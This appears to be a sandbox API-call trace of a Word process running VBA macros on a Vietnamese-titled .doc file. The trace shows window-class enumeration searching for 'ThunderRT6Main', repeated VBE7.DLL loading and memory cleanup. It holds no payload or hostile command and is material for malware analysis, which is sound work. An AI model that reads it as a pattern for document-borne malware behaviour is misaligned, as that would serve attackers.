[0224.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0224.807] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0224.807] GetClassNameA (in: hWnd=0x10106, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0224.807] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0224.807] GetClassNameA (in: hWnd=0x10102, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.807] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0224.807] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0224.807] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0224.807] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0224.807] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.807] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0224.807] GetClassNameA (in: hWnd=0x10084, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.807] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.807] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0224.813] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0224.813] GetClassNameA (in: hWnd=0x10082, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.813] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.813] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0224.813] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0224.813] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0224.813] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0224.813] GetClassNameA (in: hWnd=0x10080, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0224.813] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0224.813] GetClassNameA (in: hWnd=0x10076, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.813] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0224.813] GetClassNameA (in: hWnd=0x10064, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.813] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.813] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0224.813] GetClassNameA (in: hWnd=0x10110, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0224.813] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0224.813] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0224.813] GetClassNameA (in: hWnd=0x10112, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0224.813] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0224.813] GetClassNameA (in: hWnd=0x10060, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0224.813] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.813] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0224.813] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0224.813] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0224.813] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.814] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0224.814] GetClassNameA (in: hWnd=0x10042, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0224.814] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0224.814] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.814] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0224.814] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0224.814] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0224.814] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.814] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0224.814] GetClassNameA (in: hWnd=0x10048, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0224.814] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0224.814] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0224.814] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0224.814] GetClassNameA (in: hWnd=0x10040, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.814] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.814] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0224.814] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.814] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.814] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0225.284] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0225.284] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=8, lpWideCharStr=0x674ba68, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0225.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CV gui PVN vv y kien cua UB ve gia han", cchWideChar=-1, lpMultiByteStr=0x2e3b970, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CV gui PVN vv y kien cua UB ve gia han", lpUsedDefaultChar=0x0) returned 39 [0225.285] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0225.285] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=8, lpWideCharStr=0x6741e98, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0225.285] strncat_s (in: _Destination="Project (", _SizeInBytes=0x187, _Source="CV gui PVN vv y kien cua UB ve gia han", _MaxCount=0x28 | out: _Destination="Project (CV gui PVN vv y kien cua UB ve gia han") returned 0x0 [0225.285] lstrcatA (in: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han", lpString2=")" | out: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han)") returned="Project (CV gui PVN vv y kien cua UB ve gia han)" [0225.285] _wfullpath (in: _Buffer=0x1198c0, _Path="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" [0225.585] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0225.585] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=8, lpWideCharStr=0x6741e98, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0225.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CV gui PVN vv y kien cua UB ve gia han", cchWideChar=-1, lpMultiByteStr=0x2e3b970, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CV gui PVN vv y kien cua UB ve gia han", lpUsedDefaultChar=0x0) returned 39 [0225.586] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0225.586] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0225.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66d2ec8, cbMultiByte=8, lpWideCharStr=0x674ba68, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0225.586] strncat_s (in: _Destination="Project (", _SizeInBytes=0x187, _Source="CV gui PVN vv y kien cua UB ve gia han", _MaxCount=0x28 | out: _Destination="Project (CV gui PVN vv y kien cua UB ve gia han") returned 0x0 [0225.586] lstrcatA (in: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han", lpString2=")" | out: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han)") returned="Project (CV gui PVN vv y kien cua UB ve gia han)" [0225.587] SysStringByteLen (bstr="潎浲污") returned 0x6 [0225.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0225.587] SysStringByteLen (bstr="潎浲污") returned 0x6 [0225.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a2cbb8, cbMultiByte=7, lpWideCharStr=0x66d2ec8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0225.803] GetCurrentProcess () returned 0xffffffffffffffff [0225.803] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f165c, dwSize=0x54) returned 1 [0225.803] RtlLookupFunctionEntry (in: ControlPc=0x69f165c, ImageBase=0x1297f8, HistoryTable=0x129800 | out: ImageBase=0x1297f8, HistoryTable=0x129800) returned 0x69f16c0 [0225.803] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.803] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.803] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.804] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aa5) returned 1 [0225.804] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.804] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x2cc) returned 0x7fee4ad24c8 [0225.804] GetCurrentProcess () returned 0xffffffffffffffff [0225.804] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f11b4, dwSize=0x4b) returned 1 [0225.804] RtlLookupFunctionEntry (in: ControlPc=0x69f11b4, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f120c [0225.804] GetCurrentProcess () returned 0xffffffffffffffff [0225.804] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0fac, dwSize=0x4c) returned 1 [0225.804] RtlLookupFunctionEntry (in: ControlPc=0x69f0fac, ImageBase=0x1297f8, HistoryTable=0x129800 | out: ImageBase=0x1297f8, HistoryTable=0x129800) returned 0x69f1008 [0225.805] GetCurrentProcess () returned 0xffffffffffffffff [0225.805] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0d1c, dwSize=0x4c) returned 1 [0225.805] RtlLookupFunctionEntry (in: ControlPc=0x69f0d1c, ImageBase=0x1297f8, HistoryTable=0x129800 | out: ImageBase=0x1297f8, HistoryTable=0x129800) returned 0x69f0d78 [0225.805] GetCurrentProcess () returned 0xffffffffffffffff [0225.805] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0acc, dwSize=0x54) returned 1 [0225.805] RtlLookupFunctionEntry (in: ControlPc=0x69f0acc, ImageBase=0x1297f8, HistoryTable=0x129800 | out: ImageBase=0x1297f8, HistoryTable=0x129800) returned 0x69f0b30 [0225.805] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.805] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.805] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.805] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aa6) returned 1 [0225.805] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.805] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x258) returned 0x7fee4894ee0 [0225.805] GetCurrentProcess () returned 0xffffffffffffffff [0225.805] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f08b4, dwSize=0x43) returned 1 [0225.805] RtlLookupFunctionEntry (in: ControlPc=0x69f08b4, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f0904 [0225.805] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.806] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.806] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.806] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aa7) returned 1 [0225.806] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.806] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x269) returned 0x7fee48fd48c [0225.806] GetCurrentProcess () returned 0xffffffffffffffff [0225.806] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f03d4, dwSize=0x4b) returned 1 [0225.806] RtlLookupFunctionEntry (in: ControlPc=0x69f03d4, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f042c [0225.806] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.806] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.807] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.807] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aa8) returned 1 [0225.807] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.807] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x29c) returned 0x7fee4aa3344 [0225.807] GetCurrentProcess () returned 0xffffffffffffffff [0225.807] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0184, dwSize=0x43) returned 1 [0225.807] RtlLookupFunctionEntry (in: ControlPc=0x69f0184, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f01d4 [0225.807] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.807] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.807] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.808] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aa9) returned 1 [0225.808] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.808] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x278) returned 0x7fee48fd6f0 [0225.808] GetCurrentProcess () returned 0xffffffffffffffff [0225.808] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9ad48, dwSize=0x53) returned 1 [0225.808] RtlLookupFunctionEntry (in: ControlPc=0x6a9ad48, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x6a9ada8 [0225.808] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.808] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.808] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.808] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aaa) returned 1 [0225.808] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.809] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x260) returned 0x7fee48fae28 [0225.809] GetCurrentProcess () returned 0xffffffffffffffff [0225.809] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9aaf4, dwSize=0x43) returned 1 [0225.809] RtlLookupFunctionEntry (in: ControlPc=0x6a9aaf4, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x6a9ab44 [0225.810] CExposedDocFile::Release () returned 0x2 [0225.810] CExposedDocFile::Release () returned 0x1 [0225.810] GetCurrentProcess () returned 0xffffffffffffffff [0225.810] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f165c, dwSize=0x54) returned 1 [0225.810] RtlLookupFunctionEntry (in: ControlPc=0x69f165c, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f16c0 [0225.810] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.811] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.811] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.811] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aab) returned 1 [0225.811] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.811] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x2cc) returned 0x7fee4ad24c8 [0225.811] GetCurrentProcess () returned 0xffffffffffffffff [0225.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f11b4, dwSize=0x4b) returned 1 [0225.811] RtlLookupFunctionEntry (in: ControlPc=0x69f11b4, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x69f120c [0225.811] GetCurrentProcess () returned 0xffffffffffffffff [0225.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0fac, dwSize=0x4c) returned 1 [0225.811] RtlLookupFunctionEntry (in: ControlPc=0x69f0fac, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f1008 [0225.811] GetCurrentProcess () returned 0xffffffffffffffff [0225.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0d1c, dwSize=0x4c) returned 1 [0225.811] RtlLookupFunctionEntry (in: ControlPc=0x69f0d1c, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f0d78 [0225.811] GetCurrentProcess () returned 0xffffffffffffffff [0225.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0acc, dwSize=0x54) returned 1 [0225.811] RtlLookupFunctionEntry (in: ControlPc=0x69f0acc, ImageBase=0x129798, HistoryTable=0x1297a0 | out: ImageBase=0x129798, HistoryTable=0x1297a0) returned 0x69f0b30 [0225.812] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.812] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.812] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.812] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aac) returned 1 [0225.812] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.812] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x258) returned 0x7fee4894ee0 [0225.812] GetCurrentProcess () returned 0xffffffffffffffff [0225.812] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f08b4, dwSize=0x43) returned 1 [0225.812] RtlLookupFunctionEntry (in: ControlPc=0x69f08b4, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x69f0904 [0225.812] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.812] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.812] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.813] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aad) returned 1 [0225.813] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.813] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x269) returned 0x7fee48fd48c [0225.813] GetCurrentProcess () returned 0xffffffffffffffff [0225.813] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f03d4, dwSize=0x4b) returned 1 [0225.813] RtlLookupFunctionEntry (in: ControlPc=0x69f03d4, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x69f042c [0225.813] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.813] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.813] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.814] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aae) returned 1 [0225.814] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.814] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x29c) returned 0x7fee4aa3344 [0225.814] GetCurrentProcess () returned 0xffffffffffffffff [0225.814] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x69f0184, dwSize=0x43) returned 1 [0225.814] RtlLookupFunctionEntry (in: ControlPc=0x69f0184, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x69f01d4 [0225.814] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.814] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.814] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.814] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000aaf) returned 1 [0225.814] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.815] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x278) returned 0x7fee48fd6f0 [0225.815] GetCurrentProcess () returned 0xffffffffffffffff [0225.815] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9ad48, dwSize=0x53) returned 1 [0225.815] RtlLookupFunctionEntry (in: ControlPc=0x6a9ad48, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x6a9ada8 [0225.815] SetErrorMode (uMode=0x8001) returned 0x8005 [0225.815] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0225.815] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee4790000 [0225.815] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000ab0) returned 1 [0225.815] SetErrorMode (uMode=0x8005) returned 0x8005 [0225.816] GetProcAddress (hModule=0x7fee4790000, lpProcName=0x260) returned 0x7fee48fae28 [0225.816] GetCurrentProcess () returned 0xffffffffffffffff [0225.816] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a9aaf4, dwSize=0x43) returned 1 [0225.816] RtlLookupFunctionEntry (in: ControlPc=0x6a9aaf4, ImageBase=0x129738, HistoryTable=0x129740 | out: ImageBase=0x129738, HistoryTable=0x129740) returned 0x6a9ab44 [0225.816] IMalloc:Free (This=0x7feffc15380, pv=0x6a50900) [0225.816] IMalloc:Free (This=0x7feffc15380, pv=0x663ea90) [0225.816] GetCurrentThreadId () returned 0x8d0 [0225.816] SetCursor (hCursor=0x10007) returned 0x10003 [0225.816] CExposedDocFile::Release () returned 0x1 [0225.816] CExposedDocFile::Release () returned 0x0 [0225.816] CExposedDocFile::Release () returned 0x0 [0225.817] GetCurrentThreadId () returned 0x8d0 [0225.817] GetCurrentThreadId () returned 0x8d0 [0225.818] IUnknown:Release (This=0x68568f0) returned 0x1 [0225.818] IUnknown:Release (This=0x69b2900) returned 0x0 [0225.818] IMalloc:Free (This=0x7feffc15380, pv=0x69ae590) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663f210) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663f250) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663f290) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663f190) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69c3f10) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663ec50) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69c3ec0) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663ebd0) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x6642e50) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x663ee90) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x6444620) [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x6a993fc, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x0 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x6a99ea4, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x0 [0225.819] RtlLookupFunctionEntry (in: ControlPc=0x6a99f2c, ImageBase=0x129f90, HistoryTable=0x129fb0 | out: ImageBase=0x129f90, HistoryTable=0x129fb0) returned 0x0 [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x6a80270) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e9d00) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x407ee00) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69e71e0) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69ea150) [0225.819] IMalloc:Free (This=0x7feffc15380, pv=0x69ea5a0) [0225.819] 